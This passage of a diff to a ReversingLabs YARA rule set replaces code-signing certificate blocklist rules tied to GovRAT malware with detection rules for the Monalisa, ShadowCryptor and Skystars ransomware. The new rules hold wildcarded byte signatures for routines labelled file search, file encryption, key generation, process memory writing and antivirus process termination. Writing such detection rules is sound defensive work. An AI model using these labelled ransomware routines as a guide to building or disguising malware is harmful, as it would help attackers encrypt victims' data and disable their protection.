49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? + ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? + ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + E9 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 84 C0 74 ?? 48 8D 45 ?? 8B 95 ?? ?? ?? ?? 48 63 + D2 48 C1 E2 ?? 48 01 C2 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 + E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 + } + $find_files_p2 = { + 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 8B 95 ?? ?? ?? ?? 48 63 D2 48 C1 E2 ?? 48 01 C2 48 + 8D 85 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D + 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? + 83 85 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? C6 05 ?? + ?? ?? ?? ?? 48 8D 5D ?? 48 81 C3 ?? ?? ?? ?? 48 8D 45 ?? 48 39 C3 74 ?? 48 83 EB ?? + 48 89 D9 E8 ?? ?? ?? ?? EB ?? 90 E9 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 + C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? + ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 + C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C3 48 8D 85 ?? + ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C6 48 8D 5D ?? 48 81 C3 ?? ?? + ?? ?? 48 8D 45 ?? 48 39 C3 74 ?? 48 83 EB ?? 48 89 D9 E8 ?? ?? ?? ?? EB ?? 90 48 89 + F0 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? 5B 5E 5D C3 + } + $check_processes = { + 55 53 48 83 EC ?? 48 8D 6C 24 ?? 48 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? EB ?? 8B 45 ?? 48 98 48 8D 14 C5 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 8B 1C 02 48 + 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 85 + C0 0F 95 C0 84 C0 74 ?? B8 ?? ?? ?? ?? EB ?? 83 45 ?? ?? 8B 45 ?? 3B 45 ?? 7C ?? B8 + ?? ?? ?? ?? 48 83 C4 ?? 5B 5D C3 + } + $kill_file_processes_p1 = { + 55 56 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? C6 85 ?? + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF C0 + 0F 11 45 ?? F3 0F 6F 4D ?? 0F 11 8D ?? ?? ?? ?? F3 0F 6F 55 ?? 0F 11 95 ?? ?? ?? ?? + F3 0F 6F 5D ?? 0F 11 9D ?? ?? ?? ?? F3 0F 6F 65 ?? 0F 11 A5 ?? ?? ?? ?? 0F B7 45 ?? + 66 89 85 ?? ?? 00 00 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? + ?? 48 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 41 B9 + ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 + 84 C0 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 4C + 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 ?? 41 B9 ?? + ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? + 8B 85 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? + E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 C0 48 69 F0 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF + D0 49 89 F0 BA ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ?? + 48 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? + E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 4C 8B 8D ?? ?? + ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 + } + $kill_file_processes_p2 = { + 89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ?? + 85 C0 75 ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 95 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? ?? + 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? + ?? ?? E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 + 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 + 98 48 69 D0 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 01 D0 8B 00 39 85 ?? ?? ?? ?? 75 ?? + 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 95 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? ?? 48 89 C1 48 + 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 69 D0 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 01 D0 + 8B 00 41 89 C0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? + ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 85 ?? ?? ?? ?? + 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? + ?? ?? ?? FF D0 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 + 8D 55 ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 + E8 ?? ?? ?? ?? 48 8D 45 ?? 49 C7 C0 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 48 63 C8 48 8D 45 ?? 48 8D 55 + ?? 49 C7 C1 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 85 ?? ?? + ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Muhammad Lee" and pe.signatures [ i ] . serial == "04:42:2f:12:03:7b:c2:03:25:21:db:b6:ae:02:ea:0e" and 1404172799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $check_processes ) and ( all of ( $kill_file_processes_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_65Eae6C98111Dc40Bf4F962Bf27227F2 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Monalisa : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing GovRAT malware." + description = "Yara rule that detects Monalisa ransomware." author = "ReversingLabs" - id = "34275efd-b941-56f5-8e1b-30a43f1936e2" - date = "2020-08-05" - modified = "2023-11-08" + id = "34addb63-2426-59a2-b79b-052a9161d361" + date = "2022-05-13" + modified = "2022-05-13" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1526-L1542" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Monalisa.yara#L1-L83" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "20c0f4e9783586e68ff363fe6a72398f6ea27aef5d25f98872d1203ce1a0c9bd" + logic_hash = "0bcb79dff111ec05ac93bbe9a777546bd6234dc60d9f6982c03cd0bc3b26b038" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Monalisa" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 A1 ?? ?? ?? ?? 33 + C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 75 ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8B CC 89 65 + ?? 8D 45 ?? B3 ?? 51 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 33 C0 6A + ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 E8 ?? ?? ?? ?? + 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8A D3 88 5D ?? 8B CE E8 ?? ?? + ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? + ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? + 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? + ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3 + } + $write_proc_mem = { + 8D 45 ?? 50 FF 76 ?? 8B 46 ?? 03 C7 50 8B 06 03 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? + 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 3E 0F B7 41 ?? 48 3B D8 75 ?? 8B 51 ?? + EB ?? 8B 4D ?? 8B 35 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 56 ?? 8B 4E ?? 2B D7 8B C1 25 ?? + ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? + ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? + ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? F7 C1 ?? ?? + ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? F7 C1 ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 85 C9 + B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 48 C1 8D 4D ?? 51 50 8B 45 ?? 52 03 C7 50 FF 75 ?? + FF 15 + } + $encrypt_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 50 + 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ?? + ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 51 0F 43 05 ?? ?? ?? ?? 50 6A ?? 68 ?? + ?? ?? ?? 51 FF 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 05 ?? ?? ?? ?? ?? ?? ?? + ?? 0F 10 00 0F 11 05 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 05 ?? ?? ?? ?? C7 40 ?? ?? + ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 66 89 08 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? + ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 + ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 + 89 0D ?? ?? ?? ?? 59 8B E5 5D C3 + } + $generate_key = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 75 ?? + 8B 0C 88 A1 ?? ?? ?? ?? 3B 81 ?? ?? ?? ?? 7F ?? 56 FF 75 ?? FF 35 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? + ?? ?? 8B E5 5D C2 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? + 75 ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? + 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 45 ?? 50 E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, BHARATH KUCHANGI" and pe.signatures [ i ] . serial == "65:ea:e6:c9:81:11:dc:40:bf:4f:96:2b:f2:72:27:f2" and 1404172799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $write_proc_mem ) and ( $generate_key ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_12D5A4B29Fe6156D4195Fba55Ae0D9A9 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Shadowcryptor : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing GovRAT malware." + description = "Yara rule that detects ShadowCryptor ransomware." author = "ReversingLabs" - id = "45c37c98-1006-51e4-8832-b8e5c9fba416" - date = "2020-08-05" - modified = "2023-11-08" + id = "983e8927-4829-540f-9697-886226fd54ce" + date = "2021-02-11" + modified = "2021-02-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1544-L1560" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.ShadowCryptor.yara#L1-L89" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "860550745f6dbcd7dd0925d9b8f04e8e08e8b7c06343a4c070e131a815c42e12" + logic_hash = "875150db9fc36cd992988bba7d0c05487418b901980bf428ebd427c82fbcacd7" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "ShadowCryptor" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 0F 43 45 ?? 50 8D 85 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B + BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB ?? + 8D A4 24 ?? ?? ?? ?? 90 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 33 C0 83 7D + ?? ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 85 + ?? ?? ?? ?? 83 F8 ?? 74 ?? A8 ?? 74 ?? 50 8D 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? EB ?? 51 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 83 C7 ?? 83 D6 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 + 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D6 8B C7 8B 4D ?? 64 89 0D ?? ?? + ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $encrypt_files = { + 55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? + 33 C4 89 44 24 ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 44 24 ?? 64 A3 ?? ?? ?? ?? 8B + F1 8D 46 ?? 50 8D 4E ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? + ?? ?? ?? 66 89 44 24 ?? 89 44 24 ?? 39 46 ?? 0F 84 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? + 80 7E ?? ?? 0F 85 ?? ?? ?? ?? 51 8D 44 24 ?? 50 8D 44 24 ?? 50 8D 4E ?? E8 ?? ?? ?? + ?? 8B C8 E8 ?? ?? ?? ?? 8B D0 8B 02 85 C0 74 ?? 8B 00 8B 48 ?? 8B 40 ?? 49 23 4A ?? + 8B 04 88 8D 4C 24 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 46 ?? 8B 4E ?? 48 + 03 C8 8B 46 ?? 48 23 C8 8B 46 ?? 8B 3C 88 83 7F ?? ?? 72 ?? FF 37 E8 ?? ?? ?? ?? 83 + C4 ?? 33 C0 C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 66 89 07 FF 4E ?? 75 ?? 89 46 + ?? 83 EC ?? 8B CC 6A ?? 89 41 ?? 33 C0 C7 41 ?? ?? ?? ?? ?? 50 66 89 01 8D 44 24 ?? + 50 E8 ?? ?? ?? ?? 51 8B CE E8 ?? ?? ?? ?? 8B C8 0B CA 74 ?? 01 46 ?? 11 56 ?? 83 7C + 24 ?? ?? 8D 54 24 ?? 0F 43 54 24 ?? 83 EC ?? 8B FC 33 C0 C7 47 ?? ?? ?? ?? ?? C7 47 + ?? ?? ?? ?? ?? 66 89 07 66 39 02 74 ?? 8B C2 8D 48 ?? 89 4C 24 ?? 66 8B 08 83 C0 ?? + 66 85 C9 75 ?? 2B 44 24 ?? D1 F8 50 52 8B CF E8 ?? ?? ?? ?? 8B 4E ?? 83 79 ?? ?? 8D + 41 ?? 72 ?? 8B 00 8B 91 ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 09 50 E8 + ?? ?? ?? ?? 83 C4 ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? + E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4C 24 ?? 33 + CC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $terminate_antivirus_processes_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 33 C0 C7 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 66 89 03 89 + 45 ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 + } + $terminate_antivirus_processes_p2 = { + 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 49 ?? 33 F6 8B BC B5 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 57 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 39 43 ?? 74 ?? 6A ?? 68 ?? + ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 66 83 3F ?? 75 ?? 33 C0 EB ?? 8B C7 8D 50 ?? 8D 49 ?? + 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 50 57 8B CB E8 ?? ?? ?? ?? 46 83 FE ?? + 72 ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 FF + 15 ?? ?? ?? ?? 8B C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? + ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Marc Chapon" and pe.signatures [ i ] . serial == "12:d5:a4:b2:9f:e6:15:6d:41:95:fb:a5:5a:e0:d9:a9" and 1404172799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $terminate_antivirus_processes_p* ) ) and ( $find_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_0087D60D1E2B9374Eb7A735Dce4Bbdae56 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Skystars : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing GovRAT malware." + description = "Yara rule that detects Skystars ransomware." author = "ReversingLabs" - id = "8759a40a-648e-548e-a519-bedc812aefe4" - date = "2020-08-05" - modified = "2023-11-08" + id = "9dc19bda-c5bd-58fb-8c4f-a7d8a6fbbce9" + date = "2020-11-20" + modified = "2020-11-20" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1562-L1580" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Skystars.yara#L1-L97" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d6e0d22e926a237f1cc6b71c6f8ce01e497723032c9efba1e6af7327a786b608" + logic_hash = "352d22183b0974908ce684725fe85b4714ac5959c3bddf093b54383195881a5a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Skystars" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMO-K Limited Liability Company" and ( pe.signatures [ i ] . serial == "00:87:d6:0d:1e:2b:93:74:eb:7a:73:5d:ce:4b:bd:ae:56" or pe.signatures [ i ] . serial == "87:d6:0d:1e:2b:93:74:eb:7a:73:5d:ce:4b:bd:ae:56" ) and 1404172799 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_0860C8A7Ed18C3F030A32722Fd2B220C : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "335a1cd3-520a-5f0f-abda-6ec8a122de4b" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1582-L1598" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3c777fb157a6669bfdf3143e77f69265e09458a2b42b75b72680eb043da71e85" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $search_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? + 8B 5D ?? FF 33 B9 